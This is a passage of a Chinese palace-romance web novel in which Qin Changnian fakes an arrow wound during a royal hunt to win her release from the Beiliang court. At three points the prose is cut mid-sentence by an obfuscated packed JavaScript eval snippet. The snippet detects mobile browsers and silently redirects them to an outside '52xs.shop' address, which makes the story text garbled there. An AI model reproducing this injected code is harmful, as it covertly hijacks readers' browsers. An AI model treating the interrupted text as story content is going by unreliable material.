秦常念看着她,示意她接着说下去。 “相爱最是难得,若是如此,我想我没有继续模仿姐姐的必要了。我自会去找安蓉王后说清楚。”梧年说道,“姐姐是世界上最值得幸福的人。” 秦常念听着听着眼眶就蓄满了泪,但她仍然笑着回答:“这不重要。爱又能怎样,不爱又能怎样。在这世上,难道真的用爱就能抵得过一切吗?” “我和隗絮之间,不是爱或者不爱的问题。我们根本没可能。”秦常念说道,“人生殊途,不能同归。我还是要回漠北,回我父亲身边去。” “那姐姐不能留在北凉,若是少主和姐姐一起回漠北呢?你们是不是就可以在一起了?”梧年问道。 秦常念拍了一下梧年的脑袋:“你也知道他是少主啊,他怎么跟我回去。我要他为了我,放下少主之位,放下整个北凉吗?” “若是少主愿意呢?”梧年问道。 “你还真是单纯。”秦常念说道,“我们身份特殊,代表的不仅仅是自己。就算他愿意、贤王同意,他与我一同回到漠北。以眼下大齐和北凉的局势,秦家便会被说成是叛徒,与敌军勾结在一起。到时候不管是隗絮,还是父亲,还是我,都身不由己,不会有什么好下场的。” 梧年听完沉默了,定定地看着秦常念,不再说话。 秦常念笑着捏了一下她的脸:“还真以为有爱就可抵万难啊?你就继续你的计划,不必管我。那少主夫人的位置,不会是我的。” %%% 自从秦常念受伤以后,梧年说什么都不肯再与她比试,非要她先养好伤。还让隗子舟最近都别来烦她,她需要静养。 “我只是伤到了腿,又不是得了什么重病。”秦常念看着梧年紧张的架势,无奈道。 “不管是什么伤,都得养好才行。”梧年振振有词。 秦常念就这么过了好一阵无聊的日子,伤都好得差不多了。 这天承韵宫忽然就热闹了起来。 先是隗子舟翻下了墙头:“姐姐,我也想看。” 接着就是安蓉王后大驾光临:“秦小姐,本宫也想来凑个热闹。” 剩下秦常念一个人在原地发懵:“看什么啊?不是,你们都来我这看什么啊?”心里隐隐地担心隗子舟和安蓉王后会起冲突,赶紧跑过去。 “见过安蓉王后。”隗子舟行了个礼后率先在桌边坐下来。 “免礼,今日我是来和你们一起玩的,不必拘礼。”安蓉王后也坐下来。 梧年找来麻雀牌,四个人围坐成一圈。 “苒儿也一起来玩吧!”秦常念招呼站在一旁的苒儿。 “我不用了,多谢小姐。”苒儿一看,四个人的牌桌都组好了,不敢再去凑这个热闹。 “我技术不好,苒儿和我一组,我们两个一块打。”隗子舟主动邀请道。 “对对对,苒儿,你和弟弟一组。”梧年立刻附和道。 “这……不太好吧。”苒儿推辞道。 那边隗子舟已经搬好凳子了:“别废话,就等你了。” “快去吧,你不去,一会隗子舟输了可要怪你的。”安蓉王后也出声了。 秦常念也推了推苒儿。苒儿这才道着谢坐了过去:“多谢大家关照,多谢大家。” 隗子舟把牌放在两人中间:“是我带你一块玩,你倒是谢谢大家。” “谢谢逸侯殿下。”苒儿小声说道。 “叫我名字就好。显得怪生分的。”隗子舟把头转过去,一副专心理着牌的样子。 “谢谢子舟。”苒儿眨巴着眼睛小声说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14304098|144563||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道。 “别谈情说爱了!你要不要啊?”梧年那边都出完牌好久了,隗子舟都没有反应,急得她瞧了瞧隗子舟面前的桌子。 “肯定要啊!看小爷我怎么赢你们。”隗子舟说道。 “我要我要!”安蓉王后激动地喊。 “我赢了!给钱给钱!”秦常念说道。 “许久不打麻雀牌手都生了。可以出这个吗?”安蓉王后掏出一张牌小声问道。 “不行不行。”隗子舟立刻制止道,“就算你是王后,打麻雀牌也得按规则来,不能擅自发明规则。” “我可不会做仗势欺人那档子事。”安蓉王后把牌拿回去,换了一张,“这下可以了吧?” “我们赢了!”苒儿高兴地大喊,侧过身和隗子舟击了个掌。 “我说什么来着。”隗子舟也难掩激动的表情。 本来以为凑在一起会尴尬的一群人,反而在秦常念的带领下,打牌打得不亦乐乎。 起码在这里,大家唯一需要算计的就是牌桌上的事情。 一下午的时间很快过去,眼瞧着就快天黑了,秦常念忽然想起他们来的时候说的话,问道:“你们今日是来看什么的?我这没什么新鲜玩意啊。” 话音刚落,剪书就带着一位画糖人的师傅走了进来:“少主特意吩咐带过来给小姐看看。” “那你们少主呢?他不来看吗?”秦常念问道。 “少主今日公务繁忙,怕是脱不开身。”剪书答道,眼神不自觉地往侧门旁边的树后瞟,成功收获了一个隗絮威胁的眼神。不敢再看。 秦常念顺着他的视线往树后看,隗絮赶紧站直,躲在树后面。 “我就知道哥哥肯定把人送到姐姐这里来了。我听说宫里请了一位江南来的画糖人的师傅,就断定是请到姐姐这里来的。”隗子舟一脸得意,“果然什么都逃不过小爷我的眼睛。” “你们都是来看这个的吗?”秦常念问道。 “是啊。”安蓉王后答道,“起先还以为是贤王准备的呢,我特意去问他,他却浑然不知此事。我便知道,是后起之秀做的。” “姐姐不知道吗?”隗子舟问道。 “我不知道。”秦常念答道。 “那一定是哥哥想给你一个惊喜。”隗子舟说道。 原本听见这句话是应该开心的,但秦常念知道故事的结局。所以越甜蜜的过程,会让她觉得越心酸。 见秦常念的情绪低落了下来,安蓉王后走过来,拉起秦常念的手:“快,你先做一个,你想要哪一个?” 隗子舟也立刻附和:“是啊是啊,姐姐属什么的?先做一只看看。” “我属兔的。”秦常念答道。 “师傅,先做一只兔子给我姐姐,做得好看些。”隗子舟说道。 师傅拿出工具,开始制作糖人。 隗絮从树后面探出一小半身子,看着秦常念她们那边点着灯,几个人笑得不亦乐乎,一会要做小狗糖人,一会要做小鸭子的,秦常念甚至想自己上手做一份,也忍不住跟着笑了。 树影下,夜色里,隗絮单薄的身影笔挺地站着,望着不远处暖黄色的烛光,和少女手舞足蹈的身影。 其实他又何尝不是知道故事结局的那个人呢。 只是总想做些徒劳的挣扎,妄图改写命运的剧本罢了。 49. 糖人 夜深了,一群人一起用过晚膳后,便陆陆续续离开了。 梧年帮着苒儿收拾凌乱的桌子,秦常念独自一人举着一根糖人去隗絮的房间找他。 刚到隗絮的房间门口,秦常念就被守卫拦了下来。 “我找你们少主。”秦常念说道。 “少主还没回来,小姐您不可以擅自入内。”守卫回答道。 “还没回来?看来你们少主也挺忙的。”秦常念想起剪书说的隗絮今日事务繁忙的话,转身在台阶上坐下来,举着那根糖画嘀咕道,“我撤回说你们少主是吉祥物那句话。” 秦常念边发呆,边等着隗絮回来。不知道为什么,热热闹闹了一个晚上,此刻大家四散去,反而让秦常念的心里更难过了。 她觉得一切幸福都好像是浮在水面上的浮萍,薄薄一层的假象,让你误以为整池水都是绿油油的。只要你拨开一点浮藻,便会发现湖水本身已经肮脏不堪。 远远地看到隗絮走了过来,秦常念立刻站了起来,举起手上的糖人晃了晃:“送给你的。” 隗絮加快了步伐走过来,接过秦常念递过来的糖人:“好漂亮,是一条龙吗?” “嗯……是我画的你。”秦常念回答道,一边搓了搓手。天气乍暖还寒,一到夜晚就降温。 隗絮注意到秦常念的动作,伸手牵过秦常念的手,果然是冰冷的,赶紧用一只手包住秦常念的两只手,贴在自己的脖颈处暖着:“下次来了就进去等,别着凉了。” 秦常念看了一眼守卫,隗絮立马会意,对守卫说道:“下回不用拦她,她想做什么都可以。” “是。”守卫说道。 “不怪他们。”秦常念边跟着隗絮往房间里走,边说道,“我本就没来过你这边,他们拦住我也是应该的。再说了,我一个大齐将军的女儿,要是随意能出入你们少主的寝宫,你岂不是要被人诟病。我也不常来,不用特意交代的。” “我被人诟病什么?”隗絮反问道。 “他们会说你见色忘义,中了大齐的美人计的。”秦常念认真地说道,话音刚落,又不好意思地补上一句,“当然我不是说我是美人的意思。我就是说,会有人说你的,到时候你就说不清楚。” 隗絮觉得秦常念认真解释的样子很可爱,笑着说道:“你还不是美人,谁是美人。让我这个少主一下就沦陷了。” 秦常念瞬间从脸红到脖子根:“你说什么啊。” “再说了,有什么好解释的,上次我当着大家的面都说得很清楚了,我未娶妻,你在北凉便是要享受少主夫人的待遇的。” 秦常念更害羞了,急忙转移话题:“你看这糖人好不好看?你尝一下,我今日特意和师傅学着做的。” 隗絮看着手里那一根又长又弯曲的蛇形棍状糖人,真心地夸赞道:“嗯,真好看。第一次做就能做得这么好,真是冰雪聪明、天赋异禀。”说罢咬了一口,都还没嚼,便说道,“太好吃了!真是我吃过最好吃的糖人。甜而不腻、入口即化。”边说还边点着头,一副很诚恳的样子。 秦常念看着他睁眼说瞎话的样子,觉得好笑,明明就是做得很不像,他偏偏说像;明明画糖人的糖浆是一样的,他就要说她做的最好吃。 “你也吃一口吧。”隗絮把糖人没吃过的那一面递到秦常念嘴边,秦常念咬了一口,那本来就丑的糖人变得更丑了。 秦常念脑子里忽然想起那一盏丑丑的天灯,拙劣的手法、奇怪的配色,那不会是……隗絮亲手做的吧。 “我手艺确实不错。”秦常念说道。 “那是,你最厉害了。”隗絮夸奖道。 “我还挺擅长做这种手工活的,但是怎么画的糖人没有你做的天灯好看。”秦常念试探道。 隗絮毫无防备:“那你今日才开始练的,我那个都学了多久,做出来的成果还不是……”话都出口了,才猛然惊觉,“你怎么知道的?” “你总是付出很多,却不愿意说出来。面对误会,却不愿意去解释。难道人人都能猜到你心里在想什么吗?”秦常念问道。 “我,没有啊。”隗絮说道。对他而言,很多付出是理所当然的,比如他做给秦常念的天灯,秦常念不需要知道他背后的付出,只要开心就好。 “你总是一意孤行。”秦常念说道,“你为什么只是一味地背着我付出,却不问我想不想要。” “我知道我给不了你想要的,你想回去,但我没办法放你走。”隗絮说道。 “为什么没办法放我走?”秦常念说道,“因为你觉得危险,我人生中所有的事情,为什么由你来定义。隗絮,还我自由吧,好不好。” 隗絮不知道该怎么回答秦常念的问题,只能转过身去。 “隗絮,我再问你一次,能不能让我回去。”秦常念说道。 “抱歉,不能。”隗絮回答道。 两人的话题最后总是停在这里,让隗絮痛苦,让秦常念难受。 %%% 眼看着离安蓉王后的生辰越来越近,秦常念开始为她的出逃计划做最后的准备。 她让梧年换上了和她一模一样的衣服,两人一起舞剑,发现梧年已经学了她的言行举止八成了,若是单看背影,有时候苒儿都会迷糊,不知道眼前的究竟是谁。 “差不多了。”秦常念满意地点点头,“围猎那天,你便伪装成我假装逃跑,吸引隗絮的注意,我便趁机参加围猎。不然他一定严防死守,不让我去。” 隗子舟来和秦常念最后确认了一遍围猎的路线图,秦常念再三保证自己一定会记得往东南角走,隗子舟才放心离开。 晚上,秦常念喊来梧年和她一块睡,两人盖着被子躺在床上,互道晚安,却都没有睡着。 “喜服都送来了,姐姐不觉得可惜吗?离穿上都不差几步,却要在这时候走。”梧年问道。 秦常念笑了一下:“那喜服也不过是送来掩人耳目的,让大家觉得我和少主好事将近,平日里都不敢来针对我罢了。哪有什么实际上的婚约呢。” “我真的觉得少主对姐姐挺好的。”梧年说道。 “我也觉得。”秦常念说道,“但是不能因为可惜,就去承担我们无法承担的后果。” “那姐姐后悔吗?遇见少主,和少主一路走来。”梧年问道。 秦常念认真想了想:“不后悔。有的人一辈子都没有遇见过真正想爱的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14304647|144563||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人,我遇见了;有的人一辈子都爱而不得,我得到了。所以对我来说,我和隗絮的故事已经很圆满了,只是没得到一个圆满的结局罢了。怪只能怪我们缘浅。” 缘浅,情深。 “姐姐也不要那么悲观,也许有一天,又天时地利人和,你和少主又走到一起了呢。”梧年安慰道。 “也许吧,老天如果仁慈的话。”秦常念回答道。 “姐姐马上就要走了,有什么话想嘱咐我的吗?”梧年问道。 秦常念立刻就想到那些在宫斗中被折磨、被消耗的女人,她想起素未谋面的隗子舟的生母珞妃,想起跟着贤王大半辈子,无怨无悔地付出的安蓉王后。无数女人的生命,会在深宫里枯萎、凋零。 梧年在她心里是热烈的,色彩鲜明的,她不希望她也变成那样。 “虽然我不知道你最终的目标是什么,但是你勇敢、有能力,无论是什么,我都相信你可以达成的。”秦常念说道,“不用靠男人,靠自己你就可以完成很多事。” 梧年笑着说道:“姐姐是怕我真的爱上少主,做少主夫人吗?放心吧,我不会的。姐姐都已经爱他了,他的心哪里还容得下别人的爱。” “我不是担心这个。”秦常念说道,“我是怕再见面的时候,你不这么热烈鲜活了,我才会真的惋惜。” “我还以为姐姐会嘱咐我照顾好少主呢。”梧年说道,毕竟她认为自己只是这盘局里最无足轻重,可以轻易被利用的那一个。 “他会照顾好自己的。你也要懂得照顾好自己。”秦常念说道,“在你的人生里,你也是最重要的主角。” 两人谈完之后很快,梧年的呼吸就变得平稳,沉沉地睡过去了。 秦常念却因为心里有事,怎么也睡不着,睁着眼睛看着透过纸窗户透进来的月光。 月光朦朦胧胧的,让路都变得不清晰。 同样有心事的还有隗絮,他躺在床上,翻来覆去地想着秦常念最近的行为举动,怎么想怎么觉得不对劲。还有秦常念多次提到的安蓉王后生辰。 隗絮总觉得秦常念会在这天弄出点什么动静。所以第二天早早地就起身了,去秦常念的房间门口守着。 “少主大人早。”苒儿见隗絮来了,行礼问候道。 “秦常念呢?”隗絮问道。 “回少主的话,小姐还在房里休息呢,说是在生辰礼前把她叫起来就行。”苒儿回答道。 隗絮心里的石头稍微放下一些,推门而入,看见床上一个小鼓包。 怎么睡的,脑袋都闷到被子里了。隗絮一边想着,一边走过去,想要帮秦常念把被子盖好。可刚走过去,隗絮就发现这哪是有人在睡觉啊,分明是将枕头、垫子塞进被子里营造的假象。 隗絮心里暗道不妙,秦常念果然是打算在这一天逃跑。立马追出去。 “秦常念对北凉王宫不熟,若是跑,会往哪跑呢?”隗絮边跑边想道。 他猛然想起秦常念之前在藏书阁拿的那本书,如果秦常念去过藏书阁,那她一定知道藏书阁是北凉王宫四通八达之处,又最远离围猎的场所,不容易被人看见。 隗絮立刻起身往藏书阁那边追去。 50. 围猎 刚追到藏书阁,隗絮就在窗口看见一个隐约的背影正往里翻去。 “秦常念!”隗絮大喊一声,那背影果然顿了一下,随后便加速向里面跑去。 果然是秦常念! “秦常念,不许跑!”隗絮顾不得许多,一个轻功跃上二层,就开始追。 秦常念显然已经计划多时,早已摸清藏书阁里的地形,利用拐角、回廊,迅速甩开隗絮的追击。 隗絮一看不妙,绕到藏书阁的管控室,转动闸门,立刻开启藏书阁里的机关。 秦常念的四周瞬间掉下来无数个铁笼,秦常念吓了一跳,闪身一一躲过。二层的门已经被堵死。秦常念没办法,只得往楼下的小门跑去。 刚一跑到,面前的书柜后就走出来一个人影——正是隗絮。 秦常念绑着面纱,还戴了斗笠。一见到他,转身就跑。 隗絮当然不让,长剑一横,挡住秦常念的去路。秦常念双手执剑,在空中用力一挑,将隗絮的剑顶开。 隗絮立马侧身去抓秦常念的手,秦常念反手用剑柄对着隗絮的关节一敲,逼得隗絮松手。隗絮一脱手,秦常念就立刻转身跑去。 整个过程她都是背对着隗絮的。 这一招用得十分奇怪,不是秦常念惯用的招式,隗絮觉得有几分奇怪,但还没机会再去查明,秦常念已经从侧面跑了出去。 隗絮立刻去追,借着对王宫地形的熟悉,在秦常念跑到南门前,追到了她。 “不许跑了。”隗絮在秦常念身前站定。 秦常念的第一反应是立刻背过身去。 隗絮皱了眉头,从身后抓住秦常念的肩膀,秦常念立刻伸手上来挣脱。隗絮借着她的力,绕了几圈,让秦常念以抓着自己肩膀的样子转了过来。 “你不是秦常念。”隗絮道。和她的眸子对视的第一秒,隗絮就知道不是她。 秦常念不说话。 ‘你是谁?”隗絮问道。 对方仍是没有回答。 隗絮摘掉她戴着的斗笠,伸手解开她绑着的面纱,来人的全貌展示在他的面前:“梧年?怎么是你?秦常念呢?” 梧年笑了一下,没有立刻回答。 隗絮一个箭步上去,抵住梧年的脖颈:“说!你们又在玩什么把戏!” 梧年的脸被掐得涨红,她从衣服里掏出一封信:“姐……姐,说,给你,的。” 隗絮松开手,接过那封信,狐疑地看了梧年一眼,还是决定打开来看。 “隗公子,见字如面,好久都没有这么称呼你了,不知你还习不习惯听到这个称呼。首先还是要说你最不想听的话,在北凉的这段时间,感谢隗公子的照顾……”隗絮读到这里,突然觉得一阵眩晕,让他几乎站不住。 他一个踉跄,靠在墙边,才能勉力支撑不倒下去。他看了看自己的手指,沾上了白色的粉末,苦笑了一下:“阿念,你真要做到如此地步。”秦常念下在信纸上的药很强,药量也加倍了,很快隗絮就支撑不住倒了下去。直到他躺在地上,都紧紧握着那张信纸没有松开。 恍惚之间,他睁开眼睛,看见秦常念常穿的长靴从眼前走过,他用尽了力气伸出手,嘴里喃喃道:“阿,念。” 梧年转过身看了一眼,隗絮已经闭上了眼睛。 “预备,开始!”公公一声枪响,参加围猎的人都快马加鞭地出发。 秦常念男扮女装,混在中间,向中心跑去。隗子舟骑马经过秦常念身边的时候,对她比了个手势,示意她方向,秦常念点了点头。 围猎进行到一半的时候,场内已经开始有些混乱了。东边李公子和张公子打起来,争那只鹿是谁打到的;西边谁家的马惊了,不受控制地在场内狂奔。秦常念见状,调转马头往东南方向跑去。 她的观察力一向很好,跑了没多久,她就发现侧面的树丛里一直有人在跟着自己。她尝试调转了方向,发现那人并没有跟来。但只要她一往东南方向跑,那人便会跟着。 围猎剩下的时间不多了,秦常念也没有过多的心力和他周旋,仍然向东南方向奔去。到了约定好的地点,秦常念并没有看见隗子舟的身影,便勒马在原地等待。 等了一阵,忽然感觉身侧有异响,她警惕地转过身去,是隗子舟。 “姐姐!”隗子舟冲他挥了挥手。 还没等秦常念也打招呼回去,一支箭从身后刺来,从秦常念的左胸穿过。鲜血瞬间喷涌而出,秦常念瞪大了眼睛,从马上向后倒去,摔了下去。 “姐姐!”隗子舟的表情立刻就变了,他大惊失色,跑了过来,推着秦常念的身体,可这样做,只会让血流得更多,“姐姐,姐姐,你没事吧!” “找大夫!快找大夫!”公公迅速命令下去。 “什么事这么慌乱?”安蓉王后问道。 “回王后娘娘的话,有人在围猎中被行刺,幸得为逸侯殿下所见,赶紧将人送回来医治。”公公回答道。 安蓉王后的脑袋里立刻就浮现出秦常念的身影,她也紧张了起来,立刻起身:“带本宫过去!” 她赶到的时候,秦常念躺在床上一动不动,胸前的布料被染红,一直红到腹部。安蓉王后也慌乱了起来,这就是你所谓的有离开的办法吗!喊道:“大夫呢!” 大夫提着药箱连滚带爬地跑了进来,众人都退到房间外去等待。 安蓉王后站在隗子舟旁边,上下打量了隗子舟一番,眼神里充满了怀疑。 “娘娘是在怀疑我?”隗子舟转过来和安蓉王后对视,冷笑了一下,“我怎么可能会做害姐姐的事情。最应该被怀疑的难道不是娘娘吗,娘娘见到这样的场景,不觉得熟悉吗?” 安蓉王后急了:“本宫害她做什么!” “娘娘连姐姐的替代品都准备好了,难道不是因为早就预见了这一刻的发生吗?”隗子舟反问道。 安蓉王后哑口无言,是啊,梧年是她安插到秦常念身边去的,怎么看,都像是要斩草除根的样子,可是…… “你当本宫傻的吗?光明正大地安排一个人到她身边,再把她杀掉,生怕别人不知道是本宫干的吗!”安蓉王后说道。 “知不知道是娘娘干的又有什么关系呢,反正贤王殿下也会护着您。”隗子舟说道,“难道有人不知道我母妃是死于谁手的吗?可娘娘今日还是堂堂正正地做着北凉的王后。” 安蓉王后头上的金步摇晃动了几下,长叹一口气,不愿做任何的辩解。 大夫进入了房间,秦常念忽地从床上坐起来,吓了大夫一跳。 “小姐,还未检查,您不可贸然起身。恐对伤势不利啊。”大夫说道。 秦常念神色冷冽,从腰间取出那块玉:“少主有令,你就说我在围猎时中了一箭,伤及心脉,需要静养,但没有性命之忧。” “是。”大夫见到了少主令牌也不敢再多说什 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14314292|144563||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么,“那还需要为小姐检查一下吗?” “不必了,你出去罢。”秦常念说道。 “是。”大夫退出去,按照秦常念的要求和安蓉王后、隗子舟解释了伤情。 隗子舟嗤笑一声:“看来娘娘这次找的人能力有限啊。” “休要胡说!”安蓉王后道。 “我哪一句是胡说的?”隗子舟的话音刚落,响亮的一巴掌就落在隗子舟的脸侧。 “说!是不是你害的!”梧年赶了过来,打巴掌的手都还没来得及收回去。 隗子舟气极反笑道:“我害姐姐什么?姐姐重伤,是我将她送回来的。若我是想害她的那个人,我绝对将她仍在那里,要不了多久,姐姐就会因为失血过多而死。我何必要多此一举。” 梧年仍然不想放过他:“围猎的时候帮姐姐逃跑是你出的主意,现在姐姐重伤,怎么可能与你脱的了干系。” 隗子舟不慌不忙道:“没错,是我说的围猎的时候帮姐姐逃跑,你也听到过,我约的与她在东南方向的围墙处见。可是等我赶到的时候,姐姐已经中箭了。你们要是不相信的话,等姐姐休息好了醒来,自去问便是。若真是我干的,我还能抵赖不成。” “啪”又是一记响亮的耳光打在隗子舟的脸上。 隗子舟伸手捂住那半边脸,无奈道:“我已经都交代了,你怎么还要打我!” 梧年眼眶里积蓄了眼泪:“这一巴掌是替姐姐打你的!你没有护住姐姐,便是失职!” 秦常念躺在床上闭目养神,闭着闭着就真的睡着了。等到醒来的时候,就看见隗絮坐在床边。秦常念立刻就要起身,被隗絮按住。 “受伤了就好好休息。”隗絮声音沙哑道,像是哭过一场。 “我,没有……”秦常念刚想要解释,就被隗絮打断。 “我知道。那是鸡血,你也穿了软甲。”在秦常念睡着的这段时间,隗絮已经检查过她的伤势,把来龙去脉基本上都梳理了一遍。 “你!”秦常念立刻就双手拉紧自己的衣服,“你不会是直接用看的吧?” “不然呢。”隗絮斜着眼睛道。 “啊!!!!”秦常念大叫一句,“谁允许的!” “你让梧年假扮成是你,引我追击,再给我下毒,拖延时间,好让你参加围猎的时候,经过谁的允许了吗?”隗絮眯起眼睛。 “那不是因为你不让吗?”秦常念据理力争,“如果你早同意放我回去,不就没这档子事了吗?哪里还需要我精心算计、苦心谋划。” “你的精心算计、苦心谋划就是搭上自己吗!”隗絮道。 “怎么就搭上自己了!我这不是都做好准备了吗!”秦常念说着说着,越来越气,觉得自己躺着太没有气势了,一个鲤鱼打挺就要从床上起来,和隗絮大干一架。 她刚一起身,隗絮就又把她按下去:“大夫让你好好休息。” 我现在是要跟你玩什么打地鼠的游戏吗?秦常念在心里大骂一句,躺了回去。 “你不是都知道是假的吗?我故意让他这么说的。”秦常念翻了个白眼。 “你从马上摔下来总是真的吧。”隗絮无奈道,“前些天你脚受的伤还没好全,现下腰又受伤了。” “我腰哪里受伤……啊!!!!痛!!!!”秦常念推开隗絮放在她腰间按压穴位的手,怒气冲冲道。 “还嘴硬说没受伤。”隗絮道。 51. 和好 隗絮说秦常念犯了大错,不允许她再和梧年一起住,把她移到自己房间来住。 秦常念当然不肯和隗絮睡同一张床,于是房间里搬进来一张小床,就摆在大床的正对面。隗絮日日照顾着秦常念,当然在秦常念看来,是在监视;秦常念日日扮演着哑巴,梗着脖子一句话也不肯说。 秦常念受伤的消息传了出去,惊动了贤王,他亲自来看望秦常念。 “见过贤王殿下,见过安蓉王后。”秦常念虚弱地从床上撑起半边身子。 贤王殿下与她想象中的威严样子有些不符。他一身白绿相间的宽大袍子,腰间也没有多余的配饰,人至中年,身材有些走样,走起路来,肚子一抖一抖的。 是以秦常念一见到他,感觉到的不是君主的压迫感,而是铺面而来的亲切。 “免礼免礼。”贤王殿下赶紧说道,“秦姑娘在北凉竟遭人刺杀,着实是我们照顾不周。不过你放心,我们定会抓到谋害你的凶手的。” “多谢贤王殿下。”秦常念弯着身子道谢,嗯,果然人可以貌相,贤王殿下不仅样子亲切,人也没有架子。边想还边对着站在一旁,被冷落的隗絮翻了个白眼。 隗絮又翻了一个更大的白眼回去,意思是:你装什么装。 秦常念立刻虚掩住口鼻,咳嗽了几声。惹得安蓉王后一个眼神扔给隗絮:“人家秦小姐伤重,需要静养,你偏要欺负她。” 隗絮震惊地指向自己:“我?我什么时候?我哪敢欺负她啊。” 这大床给她睡,房里大大小小她喜欢的物件都添置过来了,每天像佣人一样对她嘘寒问暖、端茶递水,就差跪在地上说“小姐,奴婢告退了”,你们还看不出来这里谁是主人? 秦常念得意地挑了一下眉,把视线移回贤王身上。 “哪里的话,你在北凉受伤了,我们一定会负责到底的。”贤王说道,“缺什么、喜欢什么尽管说,算是我们北凉给你赔罪。” “哪里哪里,是小女自己不小心。围猎的时候兴许是跑错了路线,跑到人家的箭面前去了,原本别人也是要猎那麋鹿的,谁曾想我突然出现,箭已脱手,别人也来不及挽回,这才有了这场意外。”秦常念说道,“贤王殿下千万莫要责怪,是小女性子贪玩、爱凑热闹,又经验不足。不过,说到请求,小女确有一事相求。” “但说无妨。”贤王大手一挥,很豪气地说道。 秦常念却不立刻回答,只是很夸张地把视线停在隗絮身上,一副欲言又止的样子。 贤王见此,立刻会意,转过身对隗絮说道:“你先出去一会。” 隗絮更加意外了,指着自己:“我?” 你们要谈什么事情是我不能听的吗? 到底她是少主还是我是少主? “秦姑娘,说吧。”贤王慈爱地看着秦常念。 秦常念仍是很为难的样子。 贤王再次转过身:“你怎么还在这?刚不是叫你出去吗?” “我……”还没等隗絮说话,安蓉王后又催促道:“快出去吧,我们和秦姑娘有话要说。” 隗絮一副摸不着头脑的样子,叹了口气,只好转身出去。 “把门带上。”贤王发话道。 “是,父王。”隗絮懒洋洋地回应,把门合上。 “贤王殿下,小女在北凉已经停留许久,家父该挂念了,我想请求贤王殿下让我回去。”秦常念说道。 秦常念眼下在北凉受了重伤,险些丧命。交战不伤质子。眼下秦远的军队都没攻打北凉,他女儿却在北凉遭人捅了。于情于理,都是北凉做得不对。再说了,秦远和隗止还有些旧情在。秦常念这个并不过分的请求,贤王好像也没有拒绝的立场。 安蓉王后站在一旁,她到此时才彻底明白秦常念的计划,她知道隗絮不会同意直接放她走,所以她要从隗止这里下手。 贤王思考了片刻,应道:“可以,秦姑娘在北凉也停留了多日,是会想家的。只是秦姑娘走之前,我会派人来搜查一遍。秦姑娘不可带任何北凉的东西回去。” “多谢贤王殿下。”秦常念拱手道谢。 “那秦姑娘好生休息。”贤王点点头,准备离开。 “我在这陪秦姑娘说说话吧,正好可以一起用晚膳。”安蓉王后说道。 贤王的步伐停顿了一下:“嗯,早些回去。” 安蓉王后没再回答,而是在秦常念的床边坐下:“伤可好些了?” “马上就没事了,不必担心,我福大命大着呢。”秦常念笑着答道。 安蓉王后帮她整理了一下头发:“这就是你让絮儿放你走的方法?冒这么大的风险。” “哎呀,这些都是我算好的。”秦常念答道,“对了娘娘,你劝劝贤王别再追查是谁放的箭,是我自己跑到别人箭底下去的,不怪别人。” “先管好你自己,再操心别人。”隗絮不知道什么时候又进来了。 安蓉王后的视线在两人身上转了一圈,便离开了:“改日我再来看秦姑娘。” 安蓉王后一走,秦常念的脸上又换回一副冷漠的表情,揪着被子不说话。 “怎么出门和麻雀都能聊上几句,到了我这里,就成哑巴了。”隗絮站在秦常念的面前说道。 “我跟你没什么好说的。”秦常念抬起头说道。 两人无言地对视了片刻,秦常念率先开了口:“在北凉,就算你护得住我一次,护得住我两次三次,你能护得住我一辈子吗?” 隗絮看着秦常念包扎过的伤口,无法开口说保证的话。 他保证不了,秦常念已经受伤,这是不争的事实。 “王宫中人心叵测、斗争不断,我真的成了被你养着的金丝雀。现在连我都觉得自己无趣。我甚至有些感谢放箭的那人,要是他能一招致命,让我没有痛苦地结束这一切也是极好的。”秦常念话还没有说完,隗絮就冲上来捂住她的嘴巴。 “又胡说什么呢。”隗絮道。 秦常念直勾勾地看着他,隗絮在这一双漂亮、深情的眼眸里,看见的却全是空洞和麻木。 隗絮用手撑着床头,弯着腰;秦常念靠着枕头,平视他。几个呼吸之后,隗絮缓慢地说道:“我放你走。” “少主不会又是在骗我吧。”秦常念歪着头反问道。 “等你身上的伤养好了,我送你回去。”隗絮一边说一边观察秦常念的表情,秦常念的脸上终于有了明显的高兴,眼睛也亮了起来。隗絮的心里松了一大口气。 “多谢少主大人。”秦常念像对贤王殿下一样,恭敬地对少主大人行礼。 几天前,苒儿帮秦常念准备软甲和鸡血的时候,问过秦常念:“小姐,若是少主还是不同意您走,怎么办?” “他一定会同意的。”秦常念很笃定地回答。 “为什么?”苒儿问道。 “因为我会用我的命告诉他,他这么做是错的。”秦常念回答道。 秦常念想起从前在将军府的时候,有时她不想上课或是又有什么新奇点子了,就会装个头疼脑热,隗絮即便是知道她在装,也不忍心拒绝她。 此刻秦常念受伤躺在床上,说着贱命一条,爱要不要的话,隗絮当然也说不出强迫她的话。 